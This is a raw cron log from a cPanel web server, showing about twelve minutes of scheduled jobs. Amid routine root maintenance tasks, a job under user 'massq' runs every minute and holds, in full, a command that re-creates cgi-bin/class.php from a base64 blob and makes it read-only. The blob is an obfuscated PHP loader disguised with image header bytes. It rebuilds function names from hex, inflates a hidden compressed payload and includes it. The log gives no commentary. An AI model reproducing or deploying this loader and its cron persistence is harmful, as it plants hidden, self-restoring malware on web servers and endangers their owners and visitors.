Sep 12 15:42:01 server CROND[20307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:42:01 server CROND[20308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:42:01 server CROND[20306]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 15:42:01 server CROND[20309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:43:01 server CROND[20691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:43:01 server CROND[20692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:43:01 server CROND[20693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:44:01 server CROND[21154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:44:01 server CROND[21155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:44:01 server CROND[21156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:45:01 server CROND[21547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:45:01 server CROND[21548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:45:01 server CROND[21550]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:45:01 server CROND[21552]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:45:01 server CROND[21555]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:45:01 server CROND[21560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:45:01 server CROND[21553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:46:01 server CROND[22386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:46:01 server CROND[22387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:46:01 server CROND[22388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:47:01 server CROND[22759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:47:01 server CROND[22761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:47:01 server CROND[22762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:48:01 server CROND[23308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:48:01 server CROND[23309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:48:01 server CROND[23310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:49:01 server CROND[23785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:49:01 server CROND[23786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:49:01 server CROND[23787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:50:01 server CROND[24182]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:50:01 server CROND[24181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:50:01 server CROND[24183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:50:01 server CROND[24199]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 15:50:01 server CROND[24200]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:50:01 server CROND[24198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:50:01 server CROND[24202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:50:01 server CROND[24204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:50:01 server CROND[24203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:51:01 server CROND[25033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:51:01 server CROND[25032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:51:01 server CROND[25035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:52:01 server CROND[25402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:52:01 server CROND[25403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:52:01 server CROND[25404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:53:01 server CROND[25777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:53:01 server CROND[25778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:53:01 server CROND[25779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:54:01 server CROND[26252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:54:01 server CROND[26251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
